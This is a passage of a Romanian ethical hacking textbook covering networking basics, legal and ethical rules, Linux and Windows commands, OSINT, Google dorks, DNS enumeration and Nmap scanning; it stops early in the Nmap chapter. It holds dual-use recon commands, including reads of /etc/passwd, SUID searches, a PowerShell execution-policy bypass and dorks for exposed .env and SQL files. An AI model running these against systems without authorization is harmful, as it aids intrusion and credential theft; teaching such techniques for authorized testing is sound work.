

0x2F 0x65 0x74 0x68 0x69 0x63 0x61 0x6C 0x5F 0x68 0x61 0x63 0x6B 0x69 0x6E 0x67 0x2F

# ETHICAL HACKING

De la zero la expert

*Ghidul complet de securitate ofensivă — de la biți la tehnici avansate*

**AUTOR: EXPLOITERX**

12 părți • 40 de capitole • Exerciții • Laboratoare • Comenzi practice

Ediție educațională • 2026

*Doar pentru uz educațional — testează exclusiv sistemele tale sau autorizate.*

10110 11100 00001 01001 00011 11010 10101 01110 01100 10001

# CUPRINS

---

|                                                              |           |
|--------------------------------------------------------------|-----------|
| <b>PARTEA I — FUNDAMENTE DIGITALE</b>                        | <b>4</b>  |
| <b>PARTEA A II-A — SECURITATE ȘI ETICA HACKERULUI</b>        | <b>9</b>  |
| <b>PARTEA A III-A — MEDIUL DE LUCRU AL HACKERULUI</b>        | <b>13</b> |
| <b>PARTEA A IV-A — RECUNOAȘTERE ȘI OSINT</b>                 | <b>17</b> |
| <b>PARTEA A V-A — SCANARE ȘI ENUMERARE</b>                   | <b>21</b> |
| <b>PARTEA A VI-A — VULNERABILITĂȚI WEB (OWASP TOP 10)</b>    | <b>25</b> |
| <b>PARTEA A VII-A — CRIPTOGRAFIE ȘI PAROLE</b>               | <b>34</b> |
| <b>PARTEA A VIII-A — EXPLOATAREA SISTEMELOR</b>              | <b>37</b> |
| <b>PARTEA A IX-A — REȚELE WIRELESS ȘI SOCIAL ENGINEERING</b> | <b>43</b> |
| <b>PARTEA A X-A — APĂRARE: BLUE TEAM</b>                     | <b>46</b> |
| <b>PARTEA A XI-A — PRACTICĂ: LABORATOR ȘI EXERCITII</b>      | <b>50</b> |
| <b>PARTEA A XII-A — CARIERĂ, CERTIFICĂRI ȘI RESURSE</b>      | <b>54</b> |
| <b>GLOSAR DE TERMENI</b>                                     | <b>58</b> |
| <b>NOTĂ LEGALĂ ȘI ETICĂ (IMPORTANT)</b>                      | <b>59</b> |
| Capitolul 1. De la biți la informație                        | 5         |
| Capitolul 2. Hardware și software                            | 6         |
| Capitolul 3. Rețele de la zero                               | 7         |
| Capitolul 4. Fundamentele securității informației            | 10        |
| Capitolul 5. Ethical Hacking — ce este și cum se face corect | 11        |
| Capitolul 6. Legalitate și etică                             | 12        |
| Capitolul 7. Linux — fundația oricărui specialist            | 14        |
| Capitolul 8. Kali Linux și laboratorul propriu               | 15        |
| Capitolul 9. Windows din perspectiva unui tester             | 16        |
| Capitolul 10. Recunoașterea pasivă (OSINT)                   | 18        |
| Capitolul 11. Google Dorking și Shodan                       | 19        |
| Capitolul 12. Recunoașterea activă                           | 20        |
| Capitolul 13. Nmap — arma principală de scanare              | 22        |
| Capitolul 14. Enumerarea serviciilor de rețea                | 23        |
| Capitolul 15. Enumerarea aplicațiilor web                    | 24        |
| Capitolul 16. Anatomia unei aplicații web                    | 26        |
| Capitolul 17. SQL Injection                                  | 27        |
| Capitolul 18. XSS — Cross-Site Scripting                     | 28        |
| Capitolul 19. CSRF, Clickjacking și probleme de configurare  | 29        |
| Capitolul 20. IDOR și Broken Access Control                  | 30        |
| Capitolul 21. Command Injection, LFI/RFI și Path Traversal   | 31        |
| Capitolul 22. SSRF și XXE                                    | 32        |
| Capitolul 23. Autentificare, sesiuni și parole slabe         | 33        |
| Capitolul 24. Hash-uri și spargerea parolelor                | 35        |

|                                                               |         |
|---------------------------------------------------------------|---------|
| Capitolul 25. Criptografie simetrică și asimetrică.....       | 36..... |
| Capitolul 26. Vulnerabilități, CVE și Metasploit.....         | 38..... |
| Capitolul 27. Shell-uri și reverse shells.....                | 39..... |
| Capitolul 28. Escaladarea privilegiilor în Linux.....         | 40..... |
| Capitolul 29. Escaladarea privilegiilor în Windows.....       | 41..... |
| Capitolul 30. Mișcare laterală și pivoting.....               | 42..... |
| Capitolul 31. Securitatea rețelelor Wi-Fi.....                | 44..... |
| Capitolul 32. Social Engineering și Phishing.....             | 45..... |
| Capitolul 33. Hardening și securizarea sistemelor.....        | 47..... |
| Capitolul 34. Monitorizare, detectare și răspuns.....         | 48..... |
| Capitolul 35. Răspuns la incidente și forensics.....          | 49..... |
| Capitolul 36. Construirea propriului laborator.....           | 51..... |
| Capitolul 37. Exercițiu ghidat complet (pe o mașină lab)..... | 52..... |
| Capitolul 38. Scrierea unui raport de penetrare.....          | 53..... |
| Capitolul 39. Drumul către o carieră în securitate.....       | 55..... |
| Capitolul 40. Resurse pentru învățare continuă.....           | 57..... |

# PARTEA I — FUNDAMENTE DIGITALE

# Capitolul 1. De la biți la informație

## 1.1 Ce este un bit?

Un **bit** (binary digit) este cea mai mică unitate de informație din calculatoare. Poate avea doar două stări: **0** sau **1**, corespunzând fizic absenței sau prezenței tensiunii electrice într-un tranzistor. Orice informație digitală — text, imagini, video, programe — este, la nivel fundamental, o secvență de biți.

## 1.2 Octeți și multipli

Un **octet (byte)** grupează 8 biți, deci poate reprezenta  $2^8 = 256$  de valori (0–255). Multiplii folosiți frecvent:

- **1 KB (kibibyte)** = 1024 octeți ( $2^{10}$ )
- **1 MB** = 1024 KB; **1 GB** = 1024 MB; **1 TB** = 1024 GB
- În rețele, vitezele se măsoară în biți/secundă (bps): 100 Mbps = 12,5 MB/s

## 1.3 Sisteme de numerație

- **Binar (baza 2):** cifre 0 și 1. Exemplu:  $1010_2 = 10_{10}$ .
- **Hexazecimal (baza 16):** cifre 0–9 și A–F. Fiecare cifră hex = 4 biți (un "nibble"), deci un octet = 2 cifre hex. Exemplu:  $0xFF = 255$ ,  $0x41 = 'A'$ .
- **Zecimal (baza 10):** sistemul obișnuit.

**De ce contează pentru hacking:** adresele MAC (de ex. `3C:22:FB:91:44:2E``), hash-urile, valorile din memoria proceselor, pachetele capturate — toate se citesc frecvent în hex. Convertor mental util: `0x41–0x5A` = litere mari, `0x61–0x7A` = litere mici, `0x30–0x39` = cifre.

## 1.4 Codificarea textului

- **ASCII:** 7 biți (0–127) — suficiente pentru text englez simplu.
- **Latin-1 (ISO-8859-1):** 8 biți — acoperă limbile vest-europene.
- **Unicode / UTF-8:** reprezintă toate caracterele lumii. UTF-8 folosește 1–4 octeți per caracter și este standardul web modern. Caracterele românești ă, â, î, ș, ț au codificări pe 2 octeți în UTF-8.

Exemplu: litera 'A' = `0x41` = `01000001`  
litera 'ș' în UTF-8 = `0xC5 0x99` (2 octeți)  
numărul 255 = `0xFF` = `11111111`

## 1.5 Bazele logicii digitale

Funcțiile logice fundamentale (AND, OR, XOR, NOT) stau la baza oricărui calcul. **XOR** este deosebit de important în criptografie: dacă  $C = P \text{ XOR } K$ , atunci  $P = C \text{ XOR } K$ . Un mecanism cu "cheie unică" (one-time pad) bazat pe XOR este teoretic imposibil de spart dacă cheia este cu adevărat aleatoare și folosită o singură dată.

## Capitolul 2. Hardware și software

### 2.1 Componentele unui calculator

- **CPU** — execută instrucțiuni; are registre, cache și mai multe nuclee.
- **RAM** — memorie volatilă unde rulează procesele; datele dispar la oprire.
- **Stocare** — HDD/SSD, persistentă; conține sistemul de operare și fișierele.
- **Placă de rețea (NIC)** — are o adresă MAC unică și una sau mai multe adrese IP.
- **GPU** — procesare paralelă; folosit și la spargerea parolelor (hashcat).
- **Firmware/UEFI** — software-ul care pornește sistemul înaintea sistemului de operare.

### 2.2 Sistemul de operare

Un sistem de operare (SO) gestionează hardware-ul și oferă proceselor servicii: planificare CPU, memorie virtuală, sistem de fișiere, rețea, securitate. **Kernel-ul** este nucleul SO. Din perspectiva securității există două niveluri:

- **Ring 0 / kernel mode** — privilegii totale asupra hardware-ului.
- **Ring 3 / user mode** — aplicațiile obișnuite rulează aici, izolate.

Un atacator care obține execuție în kernel controlează întreaga mașină. De aceea, "a lua root" (Linux) sau "SYSTEM" (Windows) este scopul escaladării de privilegii.

### 2.3 Procese, utilizatori și permisiuni

Fiecare proces aparține unui utilizator și are un set de drepturi. Fișierele au un proprietar, un grup și permisiuni de citire (r), scriere (w) și execuție (x). În Linux, utilizatorul **root** (UID 0) ocolește toate verificările de permisiuni — motiv pentru care compromiterea unui serviciu care rulează ca root este catastrofală.

### 2.4 Mașini virtuale și containere

- **Mașina virtuală (VM):** emulează un calculator întreg (VirtualBox, KVM, VMware). Izolare puternică — alegerea ideală pentru un laborator de testare.
- **Container (Docker/LXC):** împarte kernel-ul gazdei, dar izolează procesele și fișierele. Mai ușor și mai rapid decât o VM, dar cu o suprafață de atac kernel partajată.

```
# În laboratorul propriu, țintele vulnerabile se rulează în VM-uri
# rețea NAT/Host-only, NU pe rețeaua ta principală.
vboxmanage list vms # listează VM-urile VirtualBox
docker ps -a # listează containerele Docker
```

## Capitolul 3. Rețele de la zero

### 3.1 De ce trebuie să cunoști rețelele

Marea majoritate a atacurilor traversează rețeaua. Fără o înțelegere solidă a adresării, a protocoalelor și a porturilor, nu poți interpreta un scan, un pachet sau o exploatare.

### 3.2 Modelul OSI și familia TCP/IP

Modelul OSI are 7 straturi; TCP/IP (modelul practic) are 4:

1. **Acces la rețea** (OSI 1-2): Ethernet, Wi-Fi, adrese MAC, ARP.
2. **Internet** (OSI 3): IP, rutare, ICMP (ping).
3. **Transport** (OSI 4): TCP (conexiune fiabilă) și UDP (fără conexiune).
4. **Aplicație** (OSI 5-7): HTTP, DNS, SSH, SMTP, SMB etc.

Fiecare strat adaugă un antet (header) peste datele stratului superior — acest proces se numește **en capsulare**.

### 3.3 Adrese IP și subnetare

- **IPv4**: 32 de biți, scris ca 4 octeți (ex. 192.168.1.10). Din cei 32 de biți, o parte identifică rețeaua, restul identifică gazda.
- **Masca de subrețea** arată câți biți aparțin rețelei: ``255.255.255.0` = `/24`` → 256 de adrese (254 utilizabile).
- **IP privat**: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16 — nu sunt rutate pe internet.
- **IPv6**: 128 de biți (ex. ``fe80::1``), rezolvă epuizarea IPv4.

Calcul rapid util: într-un /24, adresa rețelei este prima, broadcast-ul ultima, iar restul sunt gazde utilizabile.

### 3.4 DNS — sistemul de nume

DNS traduce nume (lostcube.com) în adrese IP. Înregistrări importante:

- **A/AAAA** — adresa IPv4/IPv6
- **CNAME** — alias către alt nume
- **MX** — serverul de mail
- **NS** — serverele DNS autoritare ale domeniului
- **TXT** — text arbitrar (SPF, DKIM, verificări de proprietate)
- **SOA** — autoritatea zonei; **PTR** — reverse lookup

```
dig lostcube.com A # interogare standard
dig @8.8.8.8 lostcube.com MX # folosind un resolver anume
dig +short lostcube.com TXT # doar răspunsul scurt
drill lostcube.com NS # alternativă ușoară
```

### 3.5 Porturi și socket-uri

Un **port** (0-65535) identifică un serviciu pe o gazdă. Un **socket** = adresă IP + port + protocol. Porturi notabile: 21 FTP, 22 SSH, 23 Telnet, 25 SMTP, 53 DNS, 80 HTTP, 443 HTTPS, 445 SMB, 3306 MySQL, 3389 RDP, 8080 proxy/alt HTTP. Orice serviciu ascultat pe o rețea este o potențială poartă de intrare.

### 3.6 HTTP/HTTPS — limbajul web-ului

O cerere HTTP are o metodă (GET, POST, PUT, DELETE, OPTIONS...), o cale, headere și uneori un corp. Răspunsul are un cod de stare (200 OK, 301/302 redirect, 403 interzis, 404 inexistent, 500 eroare server) și headere. HTTPS = HTTP peste TLS (criptare + autentificarea serverului prin certificate).

```
curl -I https://example.com # doar headerele  
curl -X POST -d "user=admin&pass=test" URL # cerere POST  
curl -b "session=abc" -H "X-Custom: 1" URL # cookie + header propriu
```

### 3.7 NAT, firewall și proxy

- **NAT** maschează IP-urile private în spatele unui IP public.
- **Firewall-ul** filtrează traficul după reguli (IP, port, protocol, stare). Reguli implicite: tot ce nu e permis e blocat.
- **Proxy-ul** intermediază cererile; proxy-urile de interceptare (Burp Suite, mitmproxy) sunt esențiale pentru testarea aplicațiilor web.

**Chestionar de autoevaluare:** 1) Câte adrese utilizabile are 192.168.1.0/26? 2) Ce port folosește SSH implicit? 3) De ce un pachet UDP nu are "strângere de mână"?

## **PARTEA A II-A — SECURITATE ȘI ETICA HACKERULUI**

## Capitolul 4. Fundamentele securității informației

### 4.1 Triada CIA

Orice discuție despre securitate pornește de la trei obiective:

- **Confidențialitate (Confidentiality)** — datele sunt accesibile doar celor autorizați (criptare, control acces).
- **Integritate (Integrity)** — datele nu pot fi modificate neautorizat (hash-uri, semnături).
- **Disponibilitate (Availability)** — serviciile și datele sunt accesibile când trebuie (redundanță, anti-DoS).

Se adaugă adesea: **autenticitate** (sursa e reală), **non-repudiare** (autorul nu poate nega) și **responsabilitate (accountability)**.

### 4.2 Autentificare, autorizare, audit

- **Autentificare:** cine ești? (ceva ce știi — parolă; ceva ce ai — token/telefon; ceva ce ești — amprentă/biometrie; sau MFA = combinarea lor)
- **Autorizare:** ce ai voie să faci? (control de acces pe bază de roluri — RBAC)
- **Audit/logare:** ce ai făcut? — esențială pentru detectare și investigații.

### 4.3 Suprafața de atac și lanțul de atac

**Suprafața de atac** = totalitatea punctelor prin care un atacator poate interacționa cu un sistem (porturi deschise, aplicații web, API-uri, e-mail, angajați, fizic). Reducerea ei (dezactivarea serviciilor inutile, patch-uri, segmentare) este prima linie de apărare. Un **lanț de atac (attack chain)** combină mai multe slăbiciuni mici într-un compromis total — de aceea se evaluează riscul sistemic, nu doar bug-urile individuale.

### 4.4 Clasificarea amenințărilor și a atacatorilor

- **Script kiddie** — folosește unelte gata făcute, fără înțelegere profundă.
- **Hacker black-hat** — intră fără autorizație, din interes personal/financiar.
- **Hacker white-hat (etic)** — autorizat, descoperă și raportează responsabil.
- **Hacker grey-hat** — între cele două; testează fără permisiune dar fără intenții distructive (ilegal oricum).
- **APT (Advanced Persistent Threat)** — grupări statale/sponsorizate, răbdătoare, bine finanțate.
- **Insider threat** — angajat sau partener cu acces legitim abuzat.
- **Hacktivist** — atacă din motive ideologice.

### 4.5 Costul unei breșe

O breșă implică: pierderi financiare directe, amenzi de reglementare (ex. GDPR), costuri de remediere, pierderea reputației și răspundere legală. Prevenția și testarea regulată sunt aproape întotdeauna mai ieftine decât incidentul.

## Capitolul 5. Ethical Hacking — ce este și cum se face corect

### 5.1 Definiție

**Ethical hacking** (testare de penetrare / securitate ofensivă) este procesul autorizat de identificare și exploatare a vulnerabilităților dintr-un sistem, cu scopul de a măsura și îmbunătăți securitatea. Diferența esențială față de criminalitate informatică este **autorizarea scrisă** și **scopul defensiv**.

### 5.2 Reguli fundamentale

1. **Ai întotdeauna autorizație scrisă** (contract, scope document) înainte de orice test.
2. **Respectă limitele scope-ului** — doar sistemele și metodele permise.
3. **Nu deteriorează** sistemele; folosește cea mai puțin invazivă dovadă.
4. **Protejează datele** descoperite (confidențialitate, minimizare).
5. **Raportează tot** — inclusiv testele care nu au mers.
6. **Nu instalează persistență** sau backdoor-uri dacă nu e cerut explicit.

### 5.3 Tipuri de teste

- **Black-box:** fără informații prealabile despre țintă (simulează un atacator extern).
- **White-box:** acces complet la cod și configurare (audit aprofundat).
- **Grey-box:** acces parțial — cel mai frecvent în practică.
- **Extern vs. intern:** din afara sau din interiorul rețelei.
- **Test de aplicație web / rețea / wireless / mobile / cloud / social engineering.**

### 5.4 Fazele unui test de penetrare

1. **Planificare și autorizare** — scope, reguli de angajare, contacte de urgență.
2. **Recunoaștere (Recon)** — colectare de informații pasivă și activă.
3. **Scanare și enumerare** — identificarea serviciilor, versiunilor, utilizatorilor.
4. **Analiza vulnerabilităților** — corelarea versiunilor cu CVE-uri cunoscute, testare manuală.
5. **Exploatare** — demonstrarea impactului (cu grijă să nu afecteze producția).
6. **Post-exploatare** — escaladare de privilegii, mișcare laterală, colectare de dovezi.
7. **Raportare** — descoperiri, impact, dovezi, recomandări de remediere.
8. **Remediere și retestare** — verificarea că patch-urile rezolvă problemele.

### 5.5 Cadre metodologice

- **PTES** (Penetration Testing Execution Standard) — 7 faze detaliate.
- **OWASP WSTG** — ghid de testare a aplicațiilor web; **OWASP ASVS** — criterii de securitate.
- **NIST SP 800-115** — ghid tehnic pentru testarea securității.
- **MITRE ATT&CK** — catalog de tactici, tehnici și proceduri (TTP) ale atacatorilor; limbaj comun pentru red și blue team.
- **OSSTMM** — metodologie axată pe operațiuni.

## Capitolul 6. Legalitate și etică

### 6.1 De ce e ilegal să testezi fără permisiune

Accesul neautorizat la un sistem informatic este incriminat în majoritatea legislațiilor (în România — infracțiuni informatice în Codul penal: acces ilegal, interceptare, alterarea integrității datelor, perturbarea funcționării sistemelor). **Buna intenție nu este o apărare.** Chiar și scanarea unor rețele care nu-ți aparțin poate fi considerată acces neautorizat.

### 6.2 Documentele care te protejează

- **Reguli de implicare (Rules of Engagement / RoE)** — orele permise, tehnicile permise, persoane de contact, praguri de escaladare.
- **Domeniul de aplicare (Scope)** — lista exactă de IP-uri/domenii/conturi.
- **Acord de confidențialitate (NDA).**
- **Autorizare de testare** semnată de proprietarul sistemelor.

Fără aceste documente, testul este o infracțiune — indiferent de rezultat.

### 6.3 Divulgarea responsabilă (Responsible Disclosure)

Când descoperi o vulnerabilitate într-un produs care nu este al tău:

1. Contactează privat producătorul (security@, pagina de contact, platforme de tip HackerOne/Bugcrowd dacă există program).
2. Oferă detalii suficiente pentru reproducere, fără să expui date reale.
3. Acordă un termen rezonabil pentru remediere (de obicei 90 de zile).
4. Publică doar după remediere sau după expirarea termenului, cu detalii minimalizate.

Nu exploata niciodată mai mult decât e necesar pentru demonstrație și nu extorca.

### 6.4 GDPR și datele personale

În timpul testelor vei întâlni date cu caracter personal. Ești obligat să le tratezi confidențial:

minimizează expunerea, nu le copia în afara mediului de test, raportează doar dovezi anonimizate și șterge-le la final.

### 6.5 Dileme etice frecvente

- Am găsit parole în clar într-un fișier — le raportează, nu le folosesc.
- Am acces la date reale de clienți — nu le citesc, doar dovedesc accesul.
- Clientul cere să ascund descoperiri — refuzi: etica profesională cere transparență față de management și, dacă riscul e grav, escaladare.
- Un prieten îți cere să "verifici" rețeaua unui terț — fără autorizare scrisă, refuzi.

**Regula de aur:** \*"Cu putere mare vine și responsabilitate mare."\* Cunoștințele din această carte sunt legale de folosit doar pe sistemele tale sau pe sisteme pentru care ai autorizație explicită.

## PARTEA A III-A — MEDIUL DE LUCRU AL HACKERULUI

## Capitolul 7. Linux — fundația oricărui specialist

### 7.1 De ce Linux?

Majoritatea serverelor, a instrumentelor de securitate și a infrastructurii cloud rulează Linux. Terminalul Linux oferă control total, scriptare ușoară și unelte native de rețea. În plus, majoritatea exploaturilor vizează Linux.

### 7.2 Navigare și fișiere — comenzile esențiale

```
pwd # directorul curent
ls -la # listare detaliată (inclusiv fișiere ascunse)
cd /etc # schimbare director
cp -r sursa destinatie # copiere recursivă
mv fisier nou # mutare/redenumire
rm -rf director # ștergere recursivă – ATENȚIE: nu se poate anula
find / -name "*.conf" 2>/dev/null # căutare fișiere
grep -ri "parola" /etc # căutare text în fișiere (r=recursiv, i=ignoră cazul)
cat /etc/passwd # afișare fișier
```

### 7.3 Permișiuni și proprietate

Permișiunile se citesc pe grupuri de 3 caractere: `rwx` pentru proprietar, grup, alții. Numeric: r=4, w=2, x=1.

```
ls -l /etc/shadow # -rw-r----- root shadow -> doar root și grupul shadow
chmod 750 script.sh # rwx pentru proprietar, r-x grup, nimic pentru alții
chmod +x script.sh # adaugă execuție pentru toți
chown user:group fisier # schimbă proprietarul
sudo -l # ce comenzi pot rula cu sudo?
```

**SetUID:** un fișier cu bitul `s` (ex. `-rwsr-xr-x`) rulează cu identitatea proprietarului. Dacă un executabil root are SUID și poate fi exploatat, obții root — vei vedea asta la escaladarea de privilegii.

### 7.4 Procese, utilizatori, rețea

```
ps aux # toate procesele
top / htop # monitorizare live
kill -9 PID # terminare forțată
id # UID, GID, grupuri
whoami # utilizatorul curent
last # istoric autentificări
ss -tulpn # porturi ascultate (socket statistics)
ip a # adrese IP; ip route -> tabela de rutare
ss -tnp # conexiuni TCP stabilite
```

### 7.5 Scriptare bash — automatizare de bază

Un script simplu de enumerare:

```
#!/bin/bash
# enumerare.sh – colectează informații de bază despre sistem
echo "=== Utilizatori cu shell ==="
grep -E "/(bash|sh|zsh)$" /etc/passwd
echo "=== Fișiere SUID ==="
find / -perm -4000 -type f 2>/dev/null
echo "=== Servicii ascultate ==="
ss -tulpn
```

## Capitolul 8. Kali Linux și laboratorul propriu

### 8.1 Distribuții pentru testare

- **Kali Linux** (Offensive Security) — cea mai cunoscută distribuție, cu peste 600 de unelte preinstalate.
- **Parrot OS** — alternativă cu accent pe confidențialitate.
- **BlackArch** — arhitectură "rolling" cu foarte multe unelte.
- Poți începe și cu un Ubuntu/Debian obișnuit + uneltele instalate la nevoie.

### 8.2 Instalare sigură

Rulează Kali într-o **mașină virtuală** sau pe un laptop dedicat. NU instala Kali ca sistem principal pe calculatorul de zi cu zi și nu rula unelte ofensive pe rețeaua ta de producție. Rețelele virtuale trebuie setate pe **NAT sau Host-only**, nu pe bridge direct cu rețeaua ta, pentru a izola laboratorul.

### 8.3 Ținte vulnerabile pentru exersare (legale)

- **Metasploitable 2/3** — VM Linux/Windows vulnerabilă intenționat.
- **DVWA** (Damn Vulnerable Web Application) — aplicație web cu vulnerabilități deliberate (PHP).
- **OWASP Juice Shop** — aplicație web modernă (Node.js) pentru exerciții.
- **bWAPP, WebGoat, DVWA, Mutillidae** — alte aplicații de antrenament.
- **VulnHub / HackTheBox / TryHackMe / PentesterLab / PortSwigger Academy** — medii gata făcute cu scenarii variate.

### 8.4 Instalare rapidă DVWA cu Docker

```
docker run -d -p 8080:80 vulnerables/web-dvwa
# apoi deschide http://localhost:8080 – user: admin, parola: password
# În pagina de setup apasă "Create/Reset Database"
```

### 8.5 Organizarea notițelor

Un specialist bun își documentează totul: scop, IP-uri, servicii, credențiale descoperite, comenzi, rezultate. Unelte utile: CherryTree, Obsidian, Joplin sau simple fișiere Markdown într-un depozit Git privat. Notițele ordonate transformă o sesiune de testare haotică într-un raport profesionist.

## Capitolul 9. Windows din perspectiva unui tester

### 9.1 De ce trebuie să cunoști Windows

În mediile enterprise, Windows și Active Directory domină. Un tester trebuie să se descurce în PowerShell, să înțeleagă serviciile, registrul și mecanismele de autentificare Windows.

### 9.2 Comenzi PowerShell utile

```
whoami /all # utilizator și privilegii
ipconfig /all # configurare rețea
systeminfo # informații sistem + patch-uri
net user # utilizatori locali
net localgroup administrators
netstat -ano # conexiuni și porturi
Get-Service # servicii și starea lor
Get-Process | Select-Object -First 20 # procese
reg query HKLM\... # interogare registry
powershell -ep bypass -file script.ps1 # execută script ocolind restricții
```

### 9.3 Concepte cheie Windows

- **SAM** — baza de date locală cu hash-uri de parole (căi: `C:\Windows\System32\config\SAM`).
- **LSASS** — procesul care păstrează credențiale în memorie (ținta clasică de dumping).
- **SID** — identificadorul de securitate al unui cont; administratorul are SID care se termină în `-500`.
- **UAC** — controlul conturilor utilizatorului; separă privilegiile administrative.
- **Servicii** — rulează adesea ca SYSTEM; dacă poți modifica un serviciu, escaladezi.
- **Planificatorul de sarcini (schtasks)** — execută programe la intervale; o sarcină modificabilă = escaladare.

### 9.4 Esențial: PowerShell și de ce contează

PowerShell este limbajul de scriptare și automatizare al Windows. Atacatorii îl folosesc pentru "fileless" attacks (fără fișiere pe disc, doar în memorie) — de aceea apărarea modernă (EDR, logging îmbunătățit) se concentrează pe detectarea abuzului de PowerShell.

**Exercițiu:** în laboratorul tău, rulează pe un Windows de test `systeminfo` și `netstat -ano`, apoi identifică ce procese ascultă pe ce porturi. Notează diferențele față de Linux.

## PARTEA A IV-A — RECUNOAȘTERE ȘI OSINT

## Capitolul 10. Recunoașterea pasivă (OSINT)

### 10.1 Ce este OSINT

**OSINT** (Open Source INTelligence) = colectarea de informații din surse publice, **fără a interacționa direct** cu ținta. Este pasivă: nu trimiți pachete către sistemele țintei, deci nu riști detectarea și nici probleme legale. Scopul: harta digitală a organizației — domenii, persoane, tehnologii, conturi, documente scurse.

### 10.2 WHOIS — cine deține domeniul

```
whois example.com
# Rezultat: registrar, date de înregistrare/expirare, nameservere,
# contacte (dacă nu sunt redactate prin privacy)
```

Deși GDPR a redactat multe date personale, WHOIS rămâne util pentru nameservere, registrar și perioade de înregistrare.

### 10.3 Certificate Transparency

Fiecare certificat TLS emis public este înregistrat în jurnale CT. Poți găsi **subdomenii** care nu sunt listate nicăieri:

```
curl -s "https://crt.sh/?q=%25.example.com&output=json" | python3 -m json.tool
# Extrage câmpul name_value: conține toate subdomeniile din certificate
```

### 10.4 Wayback Machine și istoric

Web archive păstrează versiuni vechi ale site-urilor. Pagini șterse, endpoint-uri uitate sau fișiere de configurare pot reapărea:

```
curl -s
"http://web.archive.org/cdx/search/cdx?url=example.com&matchType=domain&fl=timestamp,original,statuscode&collapse=urlkey&limit=500"
```

### 10.5 Motor de căutare și rețele sociale

- Caută pe Google/LinkedIn după numele companiei: angajați (pentru targetare în social engineering), tehnologii menționate în postări de angajare (job ads descriu stack-ul tehnic!), birouri.
- GitHub: căutare cod al companiei (`org:companie`), repo-uri publice cu secrete uitate.
- Pastebin / forumuri: parole și baze de date scurse.

### 10.6 Verificarea breșelor de date

Platforme precum Have I Been Pwned îți spun dacă un e-mail a apărut în breșe cunoscute — util în testele de social engineering și pentru a evalua riscul de credential stuffing.

# Capitolul 11. Google Dorking și Shodan

## 11.1 Operatori Google

Operatorii de căutare transformă Google într-o unealtă de recon:

```
site:example.com -> doar paginile domeniului
site:example.com filetype:pdf -> documente PDF
inurl:admin -> URL-uri care conțin "admin"
intitle:"index of" -> listări de directoare deschise
inurl:php?id= -> parametri potențial injectabili
filetype:sql / filetype:env -> fișiere sensibile
"parola" site:example.com -> cuvinte cheie în pagini
ext:log / ext:bak -> backup-uri și loguri
```

```
# Varianta "dorking" în bash folosind curl către un motor de căutare este
# fragilă; în practică se folosesc interfețe web sau API-uri dedicate.
```

## 11.2 Shodan / Censys / ZoomEye

Shodan indexează dispozitivele expuse pe internet: servere, camere IP, routere, sisteme industriale. Căutări utile:

- ``hostname:example.com`` — tot ce e legat de domeniu
- ``ssl.cert.subject.cn:example.com`` — certificate
- ``port:3389 country:RO`` — RDP expuse într-o țară
- ``product:Apache`` sau ``http.title:"admin"``

Shodan relevă active **neștiute** ale organizației — sursa clasică a "shadow IT".

## 11.3 Recunoașterea pasivă a aplicațiilor web

- **Wappalyzer** (extensie) — identifică tehnologii din pagină.
- **BuiltWith** — profil tehnologic detaliat.
- Verifică ``robots.txt``, ``sitemap.xml``, headere HTTP pentru a deduce stack-ul.

## Capitolul 12. Recunoașterea activă

### 12.1 De la pasiv la activ

Recunoașterea activă trimite trafic către țintă (DNS, conexiuni, cereri HTTP). Este mai bogată în informații, dar **poate fi detectată** și presupune autorizare.

### 12.2 Enumerarea DNS

```
# Subdomenii prin dicționar (folosind DNS valid)
for sub in $(cat subdomains.txt); do
  host $sub.example.com | grep "has address"
done
# Transfer de zonă (rareori permis, dar de testat)
dig axfr example.com @ns1.example.com
# Reverse DNS pe o gamă
dig -x 8.8.8.8
```

Liste de subdomenii comune: `SecLists/Discovery/DNS/subdomains-top1million-5000.txt`.

### 12.3 Fingerprinting web (amprentarea)

```
whatweb https://example.com # tehnologii, server, CMS, framework
curl -I https://example.com # headere: Server, X-Powered-By, Set-Cookie
# Exemple de deducție:
# Server: nginx + X-Powered-By: PHP/7.4 -> PHP, posibil WordPress
# Set-Cookie: PHPSESSID -> PHP; JSESSIONID -> Java
# Server: Kestrel -> ASP.NET Core
```

### 12.4 Detectarea WAF

Un WAF (Web Application Firewall) blochează cereri rău-intenționate. Îl detectezi când payload-uri clasice primesc 403/406 sau pagini de blocare. Identificarea WAF-ului dictează stilul de testare (evitare, fuzzing lent, payload-uri alternative).

### 12.5 Documentarea rezultatelor

Pentru fiecare activ: IP, domeniu, tehnologii, porturi, versiuni, note. Un tabel simplu ține evidența:

| Activ            | IP           | Tehnologii          | Porturi | Note           |
|------------------|--------------|---------------------|---------|----------------|
| www.example.com  | 203.0.113.10 | nginx 1.24, PHP 8.1 | 80, 443 | WAF Cloudflare |
| mail.example.com | 203.0.113.20 | Exchange 2019       | 25,443  | OWA expus      |

Această hartă va ghida fiecare pas următor: scanare, enumerare și testare.

## PARTEA A V-A — SCANARE ȘI ENUMERARE

## Capitolul 13. Nmap — arma principală de scanare

### 13.1 Ce face Nmap

Nmap descoperă gazde active, porturi deschise, servicii, versiuni și sistem de operare. Este primul pas tehnic în orice test de rețea.

### 13.2 Sintaxă de bază

```
nmap -sV -sC 192.168.1.10 # versiuni + scripturi implicite
nmap -p- 10.0.0.5 # toate cele 65535 de porturi TCP
nmap -p 22,80,443,8080 10.0.0.5 # porturi specifice
nmap -sS 10.0.0.0/24 # scan SYN (implicit cu root)
nmap -sU --top-ports 100 10.0.0.5 # scan UDP (important: UDP e lent)
nmap -O 10.0.0.5 # detectare sistem de operare
nmap -oA rezultat 10.0.0.5 # salvează în toate formatele
```

### 13.3 Tipuri de scanare (esențial)

- **TCP Connect (-sT):** completează handshake-ul — vizibil în loguri, dar merge oriunde.
- **SYN stealth (-sS):** trimite doar SYN; un port deschis răspunde SYN+ACK, apoi testerul trimite RST. Rapid, mai puțin vizibil, cere root.
- **UDP (-sU):** trimite pachete UDP; lent, dar descoperă servicii precum DNS, SNMP, NTP.
- **NULL/FIN/XMAS:** manipulează flag-uri TCP; vechi mecanisme de ocolire a firewall-elor slabe — puțin utile azi.

### 13.4 NSE — Nmap Scripting Engine

Scripturi pentru detectarea și exploatarea vulnerabilităților:

```
nmap --script vuln 10.0.0.5 # verificări generale de vulnerabilități
nmap --script smb-enum-shares 10.0.0.5 # enumerare share-uri SMB
nmap --script http-headers,http-title -p80 10.0.0.5
nmap --script ssl-enum-ciphers -p443 10.0.0.5
nmap --script auth 10.0.0.5 # teste slabe de autentificare
```

### 13.5 Ritm și evaziune

```
nmap -T4 10.0.0.5 # agresiv (în rețele locale sigure)
